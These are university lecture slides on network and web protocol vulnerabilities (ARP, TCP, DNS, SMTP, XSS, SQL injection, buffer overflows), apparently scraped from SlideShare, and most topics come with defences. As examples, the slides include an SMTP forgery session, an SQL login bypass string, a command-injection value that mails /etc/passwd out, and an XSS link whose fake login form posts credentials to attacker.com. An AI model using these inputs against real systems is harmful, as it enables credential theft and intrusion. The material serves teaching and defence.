SlideShare una empresa de Scribd logo
1 de 113
Descargar para leer sin conexión
Vulnerabilities in
Network Protocols
Dr. Qaisar Javaid
2
Outline
• TCP/IP Layering
• Names and Addresses
• Security Considerations for
– Address Resolution Protocol
– Internet Protocol
– Transmission Control Protocol
– FTP,Telnet, SMTP
– Web Security
• Browser Side Risks
• Server Side Risks
3
TCP/IP Layering
4
An Example
5
Encapsulation
user data
HTTP hdr
HTTP
client
TCP
IP
Ethernet
driver
Ethernet
TCP hdr
IP hdr
Eth. hdr tr.
6
RARP
IGMP
Demultiplexing
Ethernet
driver
DNS
HTTP
FTP
TCP UDP
IP
ICMP
ARP
SMTP
SNMP
…
…
demuxing based on frame type
in the Ethernet header
demuxing based on the
protocol id in the IP header
demuxing based on
the port number
in the TCP or UDP
header
7
Names and Addresses
8
IP Addresses
• Just to refresh!
• Every interface has a unique IP address
• 32 bits long, usually given in dotted decimal
notation
• 5 classes:
– class A: “0” + 7 bits net ID + 24 bits host ID
– class B: “10” + 14 bits net ID + 16 bits host ID
– class C: “110” + 21 bits net ID + 8 bits host ID
– class D: “1110” + 28 bits multicast group ID
– class E: “11110”, reserved for future use
9
Subnet Addressing
• CIDR - classless Internet domain
routing
• Host ID portion is divided into a
subnet ID and a host ID
• e.g., class B address: “10” + 14 bit net
ID + 8 bit subnet ID + 8 bit host ID
• Hierarchical addressing
10
Hardware (MAC) Addresses
• Every interface has a unique and fixed
hardware address too
• Used by the data link layer
• In case of Ethernet, it is 48 bits long
• Mapping between IP addresses and MAC
addresses are done by ARP
11
Host Names
• Human readable, hierarchical names, such
as www.case.edu.pk
• Every host may have several names
• Mapping between names and IP addresses
is done by the Domain Name System (DNS)
12
Address Resolution Protocol
13
ARP – Address Resolution
Protocol
• Mapping from IP addresses to MAC addresses
Request
140.252.13
.1 .2 .3 .4 .5
08:00:20:03:F6:42 00:00:C0:C2:9B:26
Reply
140.252.13
.1 .2 .3 .4 .5
08:00:20:03:F6:42 00:00:C0:C2:9B:26
arp req | target IP: 140.252.13.5 | target eth: ?
arp rep | sender IP: 140.252.13.5 | sender eth: 00:00:C0:C2:9B:26
14
ARP Spoofing
• An ARP request can be responded by another
host
Request
140.252.13
.1 .2 .3 .4 .5
08:00:20:03:F6:42 00:00:C0:C2:9B:26
Reply
140.252.13
.1 .2 .3 .4 .5
08:00:20:03:F6:42 00:00:C0:C2:9B:26
arp req | target IP: 140.252.13.5 | target eth: ?
arp rep | sender IP: 140.252.13.5 | sender eth: 00:34:CD:C2:9F:A0
00:34:CD:C2:9F:A0
15
Switch
ARP Spoofing
• Used for sniffing on switched LAN
Outside
World
1. Configure IP
forwarding
2. Send fake ARP
response to map
default router’s IP
to attacker’s MAC
3. Victim sends
traffic based on
poisoned ARP
cache
4. Sniff the
traffic from the
link
5. Packets are forwarded
from attacker’s machine
to actual default router
Default Router
Attacker
Victim
16
ARP Spoofing Prevention ?
• Cryptographic protection on the data is the
only way
– Not allow any untrusted node to read the
contents of your traffic
17
Internet Protocol
18
IP – Internet Protocol
• Provides an unreliable, connectionless datagram
delivery service to the upper layers
• Its main function is routing
• It is implemented in both end systems and
intermediate systems (routers)
• Routers maintain routing tables that define the
next hop router towards a given destination (host
or network)
• IP routing uses the routing table and the
information in the IP header (e.g., the destination
IP address) to route a packet
19
IP Security Problems
• User data in IP packets is not protected in any
way
– Anyone who has access to a router can read and
modify the user data in the packets
• IP packets are not authenticated
– It is fairly easy to generate an IP packet with
an arbitrary source IP address
• Traffic analysis
– Even if user data was encrypted, one could
easily determine who is communicating with
whom by just observing the addressing
information in the IP headers
20
IP Security Problems
• Information exchanged between routers to
maintain their routing tables is not
authenticated
– Correct routing table updates can be
modified or fake ones can be
disseminated
– This may screw up routing completely
leading to loops or partitions
– It may also facilitate eavesdropping,
modification, and monitoring of traffic
– It may cause congestion of links or
routers (i.e., denial of service)
21
Transmission Control
Protocol
22
TCP – Transmission Control
Protocol
• Provides a connection oriented, reliable,
byte stream service to the upper layers
• Connection oriented:
– Connection establishment phase prior to
data transfer
– State information (sequence numbers,
window size, etc.) is maintained at both
ends
23
TCP- Reliability
• Positive acknowledgement scheme
(unacknowledged bytes are retransmitted
after a timeout)
• Checksum on both header and data
• Reordering of segments that are out of
order
• Detection of duplicate segments
• Flow control (sliding window mechanism)
24
TCP Connection
Establishment
Client Server
SYNC
SYNS, ACKC
ACKS
Listening
Store data
Wait
Connected
25
TCP Sequence Numbers
• TCP uses ISN (Initial Sequence Number)
to order the incoming packets for a
connection
• Sequence numbers are 32 bits long
• The sequence number in a data segment
identifies the first byte in the segment
• Sequence numbers are initialized with a
“random” value during connection setup
• The RFC suggests that the ISN is
incremented by one at least every 4 ms
26
TCP SYN Attack
• An attacker can impersonate a trusted host
(e.g., in case of r commands, authentication is
based on source IP address solely)
– This can be done guessing the sequence number in
the ongoing communication
– The initial sequence numbers are intended to be
more or less random
27
TCP SYN Attack
• In Berkeley implementations, the ISN is
incremented by a constant amount
– 128,000 once per second, and
– further 64,000 each time a connection is
initiated
• RFC 793 specifies that the 32-bit counter
be incremented by 1 about every 4 ms
– the ISN cycles every 4.55 hours
• Whatever! It is not hopeless to guess the
next ISN to be used by a system
28
Launching a SYN Attack
• The attacker first establishes a valid
connection with the target to know its
ISN.
• Next it impersonates itself as trusted host
T and sends the connection request with
ISNx
• The target sends the ACK with its ISNs to
the trusted host T
• The attacker after the expected time
sends the ACK with predicted ISNs’
29
Launching a SYN Attack
SYN = ISNX, SRC_IP = T
SYN = ISNS, ACK(ISNX)
ACK(ISNS), SRC_IP = T
SRC_IP = T, nasty_data
attacker server trusted host (T)
30
What about the ACK for T?
• If the ACK is received by the trusted host T
– It will reject it, as no request for a connection was made
by it
– RST will be sent and the server drops the connection
BUT!!!
• The attacker can either launch this attack when T
is down
• Or launch some sort of DoS attack on T
– So that it can’t reply
31
TCP SYN Attack – How to
Guess ISNS?
– ISNS’ (Attacker’s ISN) depends on ISNS and
Dt
– Dt can be estimated from the round trip time
– Assume Dt can be estimated with 10 ms
precision
attacker server
Dt
32
TCP SYN Attack – How to
Guess ISNS?
• Attacker has an uncertainty of 1280
in the possible value for ISNS’
• Assume each trial takes 5 s
• The attacker has a reasonable
likelihood of succeeding in 6400 s and
a near-certainty within one day!
33
How to Prevent it?
• Can be prevented by properly
configuring the firewall
– Do not allow any communication from
outside using the address of some
internal network
34
TCP SYN Flood
• Attacker’s goal is to
overwhelm the
destination machine
with SYN packets
with spoofed IP
• This results in:
– The server’s
connection queue
filling up causing
DoS Attack
– Or even if queue is
large enough, all
ports will be busy
and the service
could not be
provided by the
server
C S
SYNC1 Listening
Store data
SYNC2
SYNC3
SYNC4
SYNC5
35
How to Avoid TCP SYN Flood
• Decrease the wait time for half open
connection
• Do not store the connection information
• Use SYN cookies as sequence numbers
during connection setup
• SYN cookie is some function applied on
– Dest IP, Source IP, Port numbers, Time
and a secret number
36
TCP Congestion Control
• If packets are lost, assume congestion
– Reduce transmission rate by half, repeat
– If loss stops, increase rate very slowly
Design assumes routers blindly obey this policy
Source
Destination
37
TCP Congestion Control-
Competition
• Amiable source A yields to boisterous source B
– Both senders experience packet loss
– Source A backs off
– Source B disobeys protocol, gets better results!
Source A
Source B
Destination
Destination
38
DoS-Denial of Service
Attacks
• Attempts to prevent the victim from being
able to establish connections
• Accomplished by involving the victim in
heavy processing
– like sending the TCP SYN packets to all
ports of the victim and avoiding new
connection establishment
• DoS attacks are much easier to accomplish
than gaining administrative access
39
Exploiting Ping Command for
Smurf DoS Attack
• Send ping request to subnet-directed brdcst addr
with spoofed IP (ICMP Echo Req)
• Lots of responses:
– Every host on target network generates a ping reply
(ICMP Echo Reply) to victim
– Ping reply stream can overload victim
gateway
DoS
Source
DoS
Target
1 ICMP Echo Req
Src: Dos Target
Dest: brdct addr
3 ICMP Echo Reply
Dest: Dos Target
40
Smurf DoS Attack
Prevention
• Have adequate bandwidth and redundant
paths
• Filter ICMP messages to reject external
packets to broadcast address
• Any other approach ?
41
FTP – File Transfer Protocol
user
user
interface
protocol
interpreter
data
transfer
function
file system
protocol
interpreter
data
transfer
function
file system
client
server
data connection
control connection
(FTP commands and replies)
42
FTP – File Transfer Protocol
• Typical FTP commands:
– RETR filename – retrieve (get) a file from the server
– STOR filename – store (put) a file on the server
– TYPE type – specify file type (e.g., A for ASCII)
– USER username – username on server
– PASS password – password on server
• FTP is a text (ASCII) based protocol
% ftp ftp.case.edu.pk
Connected to ftp.case.edu.pk.
Name: abc
Password: pswd
client server
<TCP connection setup to port 21 of ftp.case.edu.pk >
“220 ftp.case.edu.pk FTP server (version 5.60) ready.”
“USER abc”
“331 Password required for user abc.”
“PASS pswd”
“230 User abc logged in.”
…
43
Problems with FTP
• FTP information exchange is in clear text
– The attacker can easily eavesdrop and get the
secret information
– The attacker can also know the software
version of FTP running to exploit the
vulnerabilities of that particular version
44
FTP Bounce Scans
• FTP has a feature to open connection with victim
machine on the request from attacker machine
• Machine A (Attacker) can request to check for
the open ports on the target machine X (Victim)
• Newer version of FTP does not support
this forwarding feature
Attacker
FTP Server
Victim to be
scanned
45
Telnet
• Provides remote login service to users
• Works between hosts that use different operating
systems
• Uses option negotiation between client and server
to determine what features are supported by both
ends
Telnet client Telnet server
terminal
driver
TCP/IP
pseudo-
terminal
driver
TCP/IP
login shell
user
kernel kernel
TCP connection
46
Telnet Session Example
• Single character at a time
% telnet ahost.com.pk
Connected to ahost.epfl.ch.
Escape character is ‘^]’.
Login: s
client server
<TCP connection setup to port 23 of ahost.com.pk>
<Telnet option negotiation>
“UNIX(r) System V Release 4.0”
“Login:”
“s”
“Password:”
…
Login: st
“t”
Login: student
“t”
Password: c
“c”
…
Password: case123
“3”
<OS greetings and shell prompt, e.g., “%”>
…
…
…
47
Problems with Telnet
• Information exchange is in clear text
– The attacker can easily eavesdrop and
get the information like username and
passwords
– The attacker can also know the version
to exploit the vulnerabilities of that
particular version
48
SMTP – Simple Mail
Transfer Protocol
user
agent
local
MTA
mails to
be sent
user
sending host
relay
MTA
user
agent
local
MTA
user
mailbox
user
receiving host
relay
MTA
relay
MTA
TCP port 25
TCP connection SMTP
SMTP
SMTP
SMTP
49
SMTP
• SMTP is a text (ASCII) based protocol
• MTA transfers mail from the user to
the destination server
• MTA relays are used to relay the mail
from other clients
• MTAs use SMTP to talk to each other
• All the messages are spooled before
sending
50
SMTP Message Flow
sending MTA (rivest.case.edu.pk) receiving MTA (shamir.care.com.pk)
“HELO rivest.case.edu.pk.”
“250 shamir.care.com.pk Hello rivest.case.edu.pk., pleased to meet you”
“MAIL from: student1@rivest.case.edu.pk”
“250 student1@rivest.case.edu.pk... Sender ok”
“RCPT to: student2@lca.epfl.ch”
“250 student2@lca.epfl.ch… Recipient ok”
“DATA”
“354 Enter mail, end with a “.” on a line by itself”
<message to be sent>
.
<TCP connection establishment to port 25>
“250 Mail accepted”
“QUIT”
“221 shamir.care.com.pk delivering mail”
51
SMTP Security Problems
• Designed in an era where internet security
was not much of an issue
– No security at the base protocol
• Designed around the idea of “cooperation”
and “trust” between servers
– Susceptible to DoS attacks
• Simply flood a mail server with SMTP
connections or SMTP instructions.
52
SMTP Security Problems
• SMTP does not provide any protection of e-
mail messages
– Does not ask sender to authenticate itself.
– Messages can be read and modified by any
of the MTAs involved
– Fake messages can easily be generated (e-
mail forgery)
– Does not check what and from whom it is
relaying the message
53
SMTP Security Problems
Example
% telnet frogstar.hit.com.pk 25
Trying...
Connected to frogstar.hit.com.pk.
Escape character is ‘^[’.
220 frogstar.hit.com.pk ESMTP Sendmail 8.11.6/8.11.6;
Mon, 10 Feb 2003 14:23:21 +0100
helo abcd.com.pk
250 frogstar.hit.com.pk Hello [152.66.249.32], pleased to meet you
mail from: bill.gates@microsoft.com
250 2.1.0 bill.gates@microsoft.com... Sender ok
rcpt to: user@ebizlab.hit.com.pk
250 2.1.5 user@ebizlab.hit.com.pk... Recipient ok
data
354 Enter mail, end with "." on a line by itself
Your fake message goes here.
.
250 2.0.0 h1ADO5e21330 Message accepted for delivery
quit
221 frogstar.hit.com.pk closing connection
Connection closed by foreign host.
%
54
Be Careful, Though!
Return-Path: <bill.gates@microsoft.com>
Received: from frogstar.hit.com.pk (root@frogstar.hit.com.pk
[152.66.248.44])
by shamir.ebizlab.hit.com.pk (8.12.7/8.12.7/Debian-2)
with ESMTP id h1ADSsxG022719
for <user@ebizlab.hit.com.pk>; Mon, 10 Feb 2003 14:28:54 +0100
Received: from abcd.com.pk ([152.66.249.32])
by frogstar.hit.com.pk (8.11.6/8.11.6) with SMTP id h1ADO5e21330
for user@ebizlab.hit.com.pk; Mon, 10 Feb 2003 14:25:41 +0100
Date: Mon, 10 Feb 2003 14:25:41 +0100
From: bill.gates@microsoft.com
Message-Id: <200302101325.h1ADO5e21330@frogstar.hit.com.pk>
To: undisclosed-recipients:;
X-Virus-Scanned: by amavis-dc
Status:
Your fake message goes here.
55
Domain Name Server
56
DNS – Domain Name Server
• The DNS is a distributed database that
provides mapping between hostnames and
IP addresses
• The DNS name space is hierarchical
– Top level domains: com, edu, gov, int, mil,
net, org, ae, …, pk, … zw
– Top level domains may contain second
level domains
e.g., edu within pk, co within uk, …
– Second level domains may contain third
level domains, etc.
57
Domain Name Server
• Usually (not always) a name server knows
the IP address of the top level name
servers
• If a domain contains sub-domains, then the
name server knows the IP address of the
sub-domain name servers
• When a new host is added to a domain, the
administrator adds the (hostname, IP
address) mapping to the database of the
local name server
58
DNS – Domain Name Server
– A single DNS reply may include several
(hostname, IP address) mappings (Resource
Records)
– Received information is cached by the name
server
application
local
name srv
top level
name srv
name srv
in pk
name srv
in edu.pk
name srv
in case.edu.pk
ce.case.edu.pk = ? ce.case.edu.pk = ?
IP of ns in pk
152.66.248.44
59
DNS spoofing
• The cache of a DNS name server is
poisoned with false information
• How to do it?
– Assume that the attacker wants
www.anything.com.pk to map to his own
IP address 152.66.249.32
60
DNS Spoofing - Approach 1
• Attacker submits a DNS query
“www.anything.com.pk=?” to
ns.victim.com.pk
• A bit later it forges a DNS reply
“www.anything.com.pk=152.66.249.32”
• UDP makes forging easier but the
attacker must still predict the query
ID
61
DNS Spoofing – Approach 2
• Attacker has access to ns.attacker.com.pk
– The attacker modifies its local name server
such that it responds a query
“www.attacker.com.pk=?” with
“www.anything.com.pk=152.66.249.32”
– The attacker then submits a query
“www.attacker.com.pk=?” to ns.victim.com.pk
– ns.victim.com.pk sends the query
“www.attacker.com.pk=?” to ns.attacker.com.pk
– ns.attacker.com.pk responds with
“www.anything.com.pk=152.66.249.32”
62
Web Security
Browser Side Risks
63
Web Security – Browser
Side Risks
• Obtaining a valid browser
– IE usually comes with the OS
– Netscape can be obtained from web sites
– How can you be sure that you are downloading a
genuine copy? (remember DNS spoofing)
– A fake browser can look like a genuine one, but
it can
• Obtain and send passwords typed in by the user
• Downgrade browser security (e.g., reduce key length
used in SSL)
64
Web Forms
• Used to send data from the user to the
server (e.g., online applications, queries to a
database, etc.)
• If pure HTTP is used, then the data is sent
in clear
• Sensitive information can be eavesdropped
and/or modified
65
Helper Applications
• The browser cannot handle all kind of
downloaded data
• It invokes an external program (the helper)
on the user’s machine with the downloaded
data as parameter
• e.g., to display a PostScript file, it may
pass it to GhostView
• Downloaded content can be dangerous (e.g.,
MS Word and Excel files may contain
macro viruses)
66
Mobile Code
Java Applets
• Normally run within a controlled
environment (sandbox)
• Access to local resources is strictly
controlled by a security manager
• However, an applet may escape from the
sandbox due to some bugs in the
implementation of the Java Virtual
Machine
• Several such bugs have been discovered,
reported, and fixed
• What guarantees that there’s no more?
67
ActiveX Controls
• A Microsoft approach to mobile code
• ActiveX controls are executables that run directly
on the machine (there’s no sandbox)
• ActiveX controls can be signed and declared safe
by their creators
• But an ActiveX control declared safe may turn out
to be dangerous
– Compaq signed a control safe which allowed for remote
management of servers
– Microsoft signed a control which could write arbitrary
file on the hard disk (it was exploited by a virus
Kak.Worm)
68
JavaScript != Java Applet
• Scripts are interpreted by the browser itself
• Not as powerful as Java (e.g., many attacks
require that the user clicks on a button to activate
the malicious code)
• Successful attacks reported include history
tracking, stealing files, helping Java applets to
bypass firewalls, etc.
69
Cookies
• A cookie is a (name, value) pair
• Cookies are set by web servers and stored by web
browsers
• A cookie set by a server is sent back to the server
when the browser visits the server again
• Used to create “HTTP sessions” (session state
information is stored in cookies)
70
Cookies: Example
• If cookies are sent in clear, then they can be
eavesdropped and used to hijack an “HTTP
session”
• Cookies can be used to track what sites the user
visits (can lead to serious privacy violation!)
– Many sites use third party advertisements
– The third party can set a cookie that identifies the user
get index.html
content of index.html + set-cookie: sessionID=123456789
get nextlink.html + cookie: sessionID=123456789
…
client server
71
Cookies: Example
• This cookie is sent to the third party each time an
ad is downloaded by the user’s browser along with
the address of the page that contains the link to
the ad (the “referrer” field of the HTTP header
contains this address)
browser
thirdparty.com
<html>
…
<img src=“http://thirdparty.com/ad_server.asp”>
…
</html>
index.html
whatever.com
get ad_server.asp +
referrer=“whatever.com/index.html” +
cookie: user=123456789
72
[1] https://www.mia-banca.it
[2] Sent authentication form over HTTPS
Mario Rossi
-- Authentication process --
Case-study: home-banking
application
Web
Application
73
[1] https://www.mia-banca.it
[2] Send authentication form over HTTPS
[3] Insert username/password via HTTPS
[4] Personal Welcome page and Set Cookie
Mario Rossi
-- Authentication process --
Credential verify: if ok 
client authenticated
 Cookie generation
authentication
token
Cookie=TWFyaW8123
Username/password
Case-study: home-banking
application
Web
Application
74
Mario Rossi --Following request--
[6] Response with user data
Authentication
token
Cookie=TWFyaW8123 Cookie verifing:
 Identify user
Send data to user
[5] Request “movimenti”
Cookie=TWFyaW8123
Case-study: home-banking
application
Web
Application
75
[4] Welcome page and Set Cookie=TWFyaW8123
Mario Rossi
--Authentication process-
Authentication
Token
Cookie=TWFyaW8123
Audit: cookies collection
Web
Application
Credential verify: if ok 
client authenticated
 Cookie generation
[3] Insert username/password via HTTPS
76
Audit: cookies collect
(2)
1st Authentication:
User = Mario Rossi; password=12aB45cD:
Cookie=TWFyaW8123
2nd Authentication :
User = Mario Rossi; password=12aB45cD:
Cookie=TWFyaW8125
3rd Authentication :
User = Mario Rossi; password=12aB45cD:
Cookie=TWFyaW8127
Cookie Guessable: Cookie=TWFyaW8129
77
Mario Rossi --Following request--
[6] Send Mario Verdi data
Authentication
Token
Cookie=TWFyaW8179 Cookie verify:
TWFyaW8179
Identify user Mario Verdi
Send Mario Verdi data
[5] Request “movimenti”
Cookie=TWFyaW8179
Session web hacking:
identity theft
Web
Application
78
Possible solutions
For a robust session management, it is necessary to protect:
 User credentials AND
 User authentication token (cookie, session ID)
Authentication token should be:
 Unique for each session
 Not predictable
 Resistant to reverse-engineering
79
Cookies: Example
• http://www.musicvision.com/network_privacy_poli
cy.html
Third Party Advertising
We use Maxworldwide and other third-party advertising companies to serve ads
when you visit our Web site. These companies may use information (not including
your name, address, email address or telephone number) about your visits to
this and other Web sites in order to provide advertisements on this site and
other sites about goods and services that may be of interest to you. If you would
like more information about this practice and to know your choices about not
having this information used by these companies, please click here
Third Party Cookies
In the course of serving advertisements to this site, our third-party advertiser
may place or recognize a unique "cookie" on your browser.
80
Web Security
Server Side Risks
81
Conventional Security
Web Server Data Base
Server
Firewall
52678
N-BIOS
FTP
RPC
Network Security
Controls
HTTP(S)
82
URL Manipulation
83
URL Manipulation (contd)
84
URL Manipulation (contd)
• GET request sends important parameters on the URL
• The parameters can be manipulated to give undesired results
• The GET requests are stored in the browser history
• Impact is HIGH
• Variants work on any user input on web page, hidden values
or information stored in cookies.
http://www.paladiontest.com/example?accountnumber
=12345&debitamount=1
85
URL Manipulation - Solution
• The best solution is to avoid sending
critical parameters in a query string
• Validate with session token
• All sensitive data sent in the query string
must be cryptographically protected.
86
Web Security – Server Side
Risks
• Interactive web sites are based on forms
and scripts
– Forms are written in html
– The user fills the form and clicks on a button to
submit it
– This creates a request to the server that
contains the data typed in by the user
– The request launches a script on the server
that processes the data supplied by the user
(may return a page that is created using the
supplied data)
87
Unexpected User Input
• Unexpected user input may have
unexpected effects
– Special characters
– Too much data (may cause buffer overflow)
• At best, the server crashes
• At worst, the attacker gains control over
the server
88
Unexpected User Input:
Example I
• An example: password based user authentication
– Assume the following server side script is used to check the
supplied username and password:
query$ = ‘SELECT name, pass FROM database WHERE name =
“ ’ + name$ + ‘ ” AND
pass = “ ’ + pass$ + ‘ ” ’
Result = SQLquery(query$)
if Result <> 0 then OK
– With name$ = username and pass$ = passwd
SELECT name, pass FROM database WHERE name =
“username” AND pass = “passwd”
– With name$ = username” OR TRUE OR name = “ and pass$ =
passwd
SELECT name, pass FROM database WHERE name =
“username” OR TRUE OR name = “”
AND pass = “passwd”
89
Unexpected User Input
`
Malicious User
Target Site
http://target.site/login.jsp
Expected from user
The Unexpected
Login Successful
90
Unexpected User Input:
Example II
• User can type her e-mail address in a form and the
server sends her the latest public company report
– Assume the following perl script is used on the
server
system(“sendmail $address < report.doc”);
– With $address = username@case.edu.pk
system(“sendmail username@case.edu.pk < report.doc”);
– With $address = username@case.edu.pk <
/etc/passwd | sendmail username@case.edu.pk
system(“sendmail username@case.edu.pk < /etc/passwd |
sendmail
username@case.edu.pk < report.doc”);
91
Cross Site Scripting Example
`
User
Bank.com
Attacker.com
http://bank.com/login/
Webpage + Cookies
Internet
Banking
Cookie
Malicious link on
webpage or email with
malicious link
Malicious Link
http://bank.com/account.jsp? <SCRIPT>Send cookie to attacker.com
Reflected Code
<SCRIPT>Send Cookie to
attacker.com</SCRIPT>
Internet
Banking
Cookie
Executed
92
Cross Site Scripting
• Attacker arranges that the victim receives
a malicious script from a trusted server
• Example:
– UserX places the script in the “guest
book” of UserB
– UserA visits the “guest book” of UserB
– His browser downloads and runs UserX’s
script
93
Cross Site Scripting:
Example
• Requesting a non-existent file abcd.html from
some web servers, they return error messages
like:
“The requested file abcd.html cannot be found on the server.”
– Attacker can place the following link on a page:
< a href=“http://trusted.server.com/is protected. The server
needs you to login.<br><form
action=&#34;http://attacker.com/cgiscript.cgi&#34;
method=&#34;post&#34;>Username: <input
type=&#34;text&#34;
name=&#34;name&#34;><br>Password: <input
type=&#34;password&#34;
name=&#34;pass&#34;><br><input type=&#34;submit&#34;
value=&#34;Login&#34;></form><br><br><br><br><br><br><br>
<br>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>”
>
94
What Will Happen?
• Alice clicks on the link
• HTTP request is sent to trusted.server.com
• Server returns the usual error page, but it will
look like a login window...
The requested file is protected. The server needs you to log in.
Username:
Password:
Login
cannot be found on the server.
browser window
95
Cross-Site Scripting
Defenses
• Remove from user input all characters that
are meaningful in scripting languages:
– =<>"'();
– You must do this filtering on the server side
– You cannot do this filtering using Javascript on
the client, because the attacker can get around
such filtering
96
Cross-Site Scripting
Defenses (cont..)
• More generally, on the server-side, your
application must filter user input to
remove:
– Quotes of all kinds (', ", and `)
– Semicolons (;), Asterisks (*), Percents (%),
Underscores (_)
– Other shell/scripting metacharacters
(=&|*?~<>^()[]{}$nr )
• Define characters that are ok (alpha and
numeric), and filter everything else out
97
• Extremely common bug.
– First major exploit: 1988 Internet Worm. fingerd.
• 15 years later:  50% of all CERT advisories:
– 1998: 9 out of 13
– 2001: 14 out of 37
– 2003: 13 out of 28
• Often leads to total compromise of host.
Buffer overflows
98
What are buffer overflows?
• Suppose a web server contains a function:
void func(char *str) {
char buf[128];
strcpy(buf, str);
do-something(buf);
}
• When the function is invoked the stack looks like:
• What if *str is 136 bytes long? After
strcpy:
str
ret-addr
sfp
buf
top
of
stack
str
top
of
stack
*str ret
99
Possible Result Hacker’s Goal
Access violation
To perform denial of service
attacks against servers
Instability To disrupt the normal operation
of software
Code Injection
To gain privileges for their own
code
To exploit vital business data
To perform destructive actions
Possible Results of Buffer
Overruns
100
void UnSafe (const char* uncheckedData)
{
int anotherLocalVariable;
strcpy (localVariable, uncheckedData);
}
char localVariable[4];
Stack-Based Buffer Overrun
Example
Top of Stack
char[4]
int
Return
address
101
Heap Overruns
• Overwrite data stored on the heap
• Are harder to exploit than a buffer
overrun Data
Pointer
Data
Data
Pointer
Pointer
strcpy xxxxxxx
xxxxxxx
102
Preventing overflow attacks
• Main problem:
– strcpy(), strcat(), sprintf() have no range checking.
– “Safe” versions strncpy(), strncat() are misleading
• strncpy() may leave buffer unterminated.
• strncpy(), strncat() encourage off by 1 bugs.
• Defenses:
– Type safe languages (Java, ML). Legacy code?
– Mark stack as non-execute. Random stack location.
– Static source code analysis.
– Run time checking: StackGuard, Libsafe, SafeC, (Purify).
103
Marking stack as non-
execute
• Basic stack exploit can be prevented by marking
stack segment as non-executable.
• Problems:
– Some apps need executable stack (e.g. LISP
interpreters).
104
Run time checking: StackGuard
• Many many run-time checking techniques …
– Here, only discuss methods relevant to overflow protection.
• Solutions 1: StackGuard (WireX)
– Run time tests for stack integrity.
– Embed “canaries” in stack frames and verify their
integrity prior to function return.
str
ret
sfp
local
top
of
stack
canary
str
ret
sfp
local canary
Frame 1
Frame 2
105
Canary Types
• Random canary:
– Choose random string at program startup.
– Insert canary string into every stack frame.
– Verify canary before returning from function.
– To corrupt random canary, attacker must learn
current random string.
• Terminator canary:
Canary = 0, newline, linefeed, EOF
– String functions will not copy beyond terminator.
– Hence, attacker cannot use string functions to
corrupt stack.
106
StackGuard (Cont.)
• StackGuard implemented as a GCC patch.
– Program must be recompiled.
• Minimal performance effects: 8% for Apache.
• Newer version: PointGuard.
– Protects function pointers and setjmp
buffers by placing canaries next to them.
– More noticeable performance effects.
– Note: Canaries don’t offer fullproof protection.
– Some stack smashing attacks can leave canaries
untouched.
107
StackGuard variants -
ProPolice
• ProPolice (IBM) - gcc 3.4.1.
– Rearrange stack layout to prevent ptr overflow.
args
ret addr
SFP
CANARY
arrays
Local variables
Stack
Growth
No arrays or pointers
Ptrs, but no arrays
String
Growth
108
Run time checking: Libsafe
• Solutions 2: Libsafe (Avaya Labs)
– Dynamically loaded library.
– Intercepts calls to strcpy (dest, src)
• Validates sufficient space in current stack frame:
|frame-pointer – dest| > strlen(src)
• If so, does strcpy.
Otherwise, terminates application.
dest
ret-addr
sfp
top
of
stack
src buf ret-addr
sfp
libsafe main
Format string bugs
110
Format string problem
int func(char *user) {
fprintf( stdout, user);
}
Problem: what if user = “%s%s%s%s%s%s%s” ??
– Most likely program will crash: DoS.
– If not, program will print memory contents. Privacy?
– Full exploit using user = “%n”
Correct form:
int func(char *user) {
fprintf( stdout, “%s”, user);
}
111
Vulnerable functions
Any function using a format string.
Printing:
printf, fprintf, sprintf, …
vprintf, vfprintf, vsprintf, …
Logging:
syslog, err, warn
112
Overflow using format
string
char errmsg[512], outbuf[512];
sprintf (errmsg, “Illegal command: %400s”, user);
sprintf( outbuf, errmsg );
• What if user = “%500d <nops> <shellcode>”
– Bypass “%400s” limitation.
– Will ovreflow outbuf.
113
Conclusion
• There are many more vulnerabilities and attacks
• Some of these cannot be prevented by technical means, but
only with careful procedures and education of people
• This course will focus on technical countermeasures
Intruders
High
Low
1980 1985 1990 1995 2000
Intruder
Knowledge
Attack
Sophistication
Cross site scripting
password guessing
self-replicating code
password cracking
exploiting known vulnerabilities
disabling audits
back doors
hijacking
sessions
sweepers
sniffers
packet spoofing
GUI
automated probes/scans
denial of
service
www
attacks
Tools
“stealth” / advanced
scanning techniques
burglaries
network mgmt. diagnostics
distributed
attack tools
Staged
Auto
Coordinated
© 2002 by Carnegie Mellon University
http://www.cert.org/archive/ppt/cyberterror.ppt

Más contenido relacionado

Similar a vulnerabilities in IP.pdf

NETWORK SECURITY
NETWORK SECURITYNETWORK SECURITY
NETWORK SECURITYVinil Patel
 
Ismail TCP IP.pdf
Ismail TCP IP.pdfIsmail TCP IP.pdf
Ismail TCP IP.pdfhelloraja
 
Ismail TCP IP.pdf
Ismail TCP IP.pdfIsmail TCP IP.pdf
Ismail TCP IP.pdfhelloraja
 
Introduction to TCP / IP in networking Technology
Introduction to TCP / IP in networking TechnologyIntroduction to TCP / IP in networking Technology
Introduction to TCP / IP in networking Technologyroykousik2020
 
05Transport.ppt
05Transport.ppt05Transport.ppt
05Transport.pptMcsaMcse1
 
Transport ppt for students examination.ppt
Transport ppt for students examination.pptTransport ppt for students examination.ppt
Transport ppt for students examination.pptSaini71
 
lecture5.pptx
lecture5.pptxlecture5.pptx
lecture5.pptxLlobarro2
 
Network protocols and vulnerabilities
Network protocols and vulnerabilitiesNetwork protocols and vulnerabilities
Network protocols and vulnerabilitiesG Prachi
 
Computer network coe351- part3-final
Computer network coe351- part3-finalComputer network coe351- part3-final
Computer network coe351- part3-finalTaymoor Nazmy
 
Socket programming using C
Socket programming using CSocket programming using C
Socket programming using CAjit Nayak
 
Zhiyun Qian-what leaves attacker hijacking USA Today site
Zhiyun Qian-what leaves attacker hijacking USA Today siteZhiyun Qian-what leaves attacker hijacking USA Today site
Zhiyun Qian-what leaves attacker hijacking USA Today siteGeekPwn Keen
 
tcp-140613123317-phpapp01.pptx
tcp-140613123317-phpapp01.pptxtcp-140613123317-phpapp01.pptx
tcp-140613123317-phpapp01.pptxtouseeqzulfiqar1
 

Similar a vulnerabilities in IP.pdf (20)

NETWORK SECURITY
NETWORK SECURITYNETWORK SECURITY
NETWORK SECURITY
 
Ismail TCP IP.pdf
Ismail TCP IP.pdfIsmail TCP IP.pdf
Ismail TCP IP.pdf
 
Ismail TCP IP.pdf
Ismail TCP IP.pdfIsmail TCP IP.pdf
Ismail TCP IP.pdf
 
tcpip.ppt
tcpip.ppttcpip.ppt
tcpip.ppt
 
tcpip.ppt
tcpip.ppttcpip.ppt
tcpip.ppt
 
tcpip.ppt
tcpip.ppttcpip.ppt
tcpip.ppt
 
tcpip.ppt
tcpip.ppttcpip.ppt
tcpip.ppt
